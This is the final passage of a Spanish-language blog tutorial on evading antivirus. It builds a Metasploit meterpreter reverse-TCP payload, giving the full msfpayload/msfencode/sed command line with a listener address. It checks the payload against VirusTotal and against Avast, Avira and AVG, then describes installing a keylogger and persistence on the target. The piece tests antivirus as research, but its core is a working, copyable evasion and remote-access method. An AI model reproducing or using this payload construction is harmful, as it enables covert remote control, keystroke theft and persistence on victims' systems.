        malloc(10 * sizeof(int));
    }
}

Una vez compilado el programa, ya tenemos lo que yo llamé “sample08.exe”. Ahora, sólo queda subirlo a VirusTotal…

Paso 7: El momento de la verdad (i)

av-bypass-sample08

Excelente! Ninguno de los antivirus de VirusTotal detecta nuestro archivo como malicioso. Peeeeero… siempre tenemos que volver a probar que nuestro ejecutable funcione, sobre todo porque, de tanto tocar código, lo podemos romper. Hacemos la prueba con MSF y vemos lo siguiente:

av-bypass-sample08-msfconsole

El archivo funciona (tenemos shell en el sistema remoto) y no es detectado en el sistema remoto! :)

Paso 8: De CMD a Meterpreter

Para ir un poco más allá, me interesó la idea de cambiar el payload shell/reverse_tcp por el de meterpreter/reverse_tcp (porque meterpreter es mucho mas divertido que shell)

Asi que generé el payload con msfpayload (el cambio de cantidad de codificaciones de 13 a 3 fue para que terminara exitosamente el msfencode)

 msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 3 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

NOTA: Dependiendo de varias cosas, las codificaciones pueden fallar, es por eso que modifiqué la cantidad de codificaciones de 13 a 3. También tienen mucho que ver los OpCodes que decidimos evitar porque, a veces, msfencode no encuentra forma de evitar varios OpCodes cuando los ponemos todos juntos, por eso es que también se elijieron los OpCodes que se elijieron.

Una vez modificado el archivo, para terminar generando el ejecutable “sample09.exe”, lo subí a VirusTotal y pude ver lo siguiente:

av-bypass-sample09

Ahora vamos a hacer la prueba, ejecutando el archivo en nuestro sistema y viendo si podemos obtener shell de meterpreter…

sample09-msfconsole

Paso 9: El momento de la verdad (ii)

Ya probamos que nuestro archivo no es detectado por ninguno de los motores provistos por VirusTotal. Ahora, debemos verificar lo que se explicó al principio del artículo, y ver qué tan idénticos son los resultados del análisis en línea comparados con los resultados en una PC con la solución antivirus instalada.

Para esta prueba, se crearon tres máquinas virtuales y a cada una de ellas se les instaló un antivirus diferente: Avast, Avira y AVG. En todos los casos, utilizando sus versiones gratuitas.

Y, en todos los casos, se les dió a las soluciones antimalware la capacidad de analizar el archivo de forma específica (pidiendo que se analice directamente el archivo sample09.exe). Además, se ejecutó el archivo sample09.exe y se verificó que se realizara la conexión con msfconsolo a través de meterpreter.

Adicionalmente, se utilizó el comando “keyscan_start”, para que meterpreter instale el keylogger en el sistema, y se capturaron las teclas que presionó el usario.

Luego, se ejecutó el comando “run persistence”

Todo esto se hizo para dar la posibilidad a las soluciones antimalware de detectar, tarde o temprano, la amenaza.

Como resultado, Avast fue el mejor, detectando como malware el archivo apenas intentó ser copiado al sistema

Avira y AVG detectaron únicamente el comando “run persistence”, que instaló un archivo .vbs el cual fue descubierto como “sospechoso”, pero ya habíamos entrado al sistema y podíamos ejecutar comandos. No pudieron darse cuenta del keylogger (keyscan_start). Lo cual es algo preocupante, porque es una detección tardía y depende de que se ejecute ese comando particular.

Esto no quiere decir que Avast sea mejor que AVG y Avira, porque se trata de una prueba aislada y muy particular. Lo que sí es interesante remarcar es que los resultados de VirusTotal no siempre son tan exactos. Si Avast pudo detectar el archivo como malicioso estando instalado en la estación de trabajo, pero no lo hizo desde VirusTotal, esto podría significar que muchas de las otras soluciones AntiMalware también detectarían el archivo si estuvieran instaladas en una PC. Por otro lado, como siempre digo, VirusTotal es una excelente herramienta para hacer un análisis estadístico de que tan “detectable” es un malware.

Abajo podemos ver las imágenes con los resultados:

av-bypass-sample09-avira

av-bypass-sample09-avg

av-bypass-sample09-avast

Palabras Finales

Debemos recordar que estas técnicas deben ser utilizadas únicamente con fines investigativos. VirusTotal comparte todos los archivos que les son enviados con los laboratorios antivirus, por lo que es probable que los índices de detección empiecen a subir.

Espero que así sea y que las soluciones antimalware sigan evolucionando, para protegernos cada vez mejor. De todos modos, siempre tenemos que tener en cuenta que las soluciones antimalware no pueden ser nuestra única medida de defensa. Por sobre todas las cosas, debemos protegernos navegando por internet de forma prudente, manteniendo nuestros sistemas actualizados, y todas esas consideraciones de seguridad tan populares que tantas veces se dejan de lado.

Escrito por: Fabian Martínez Portantier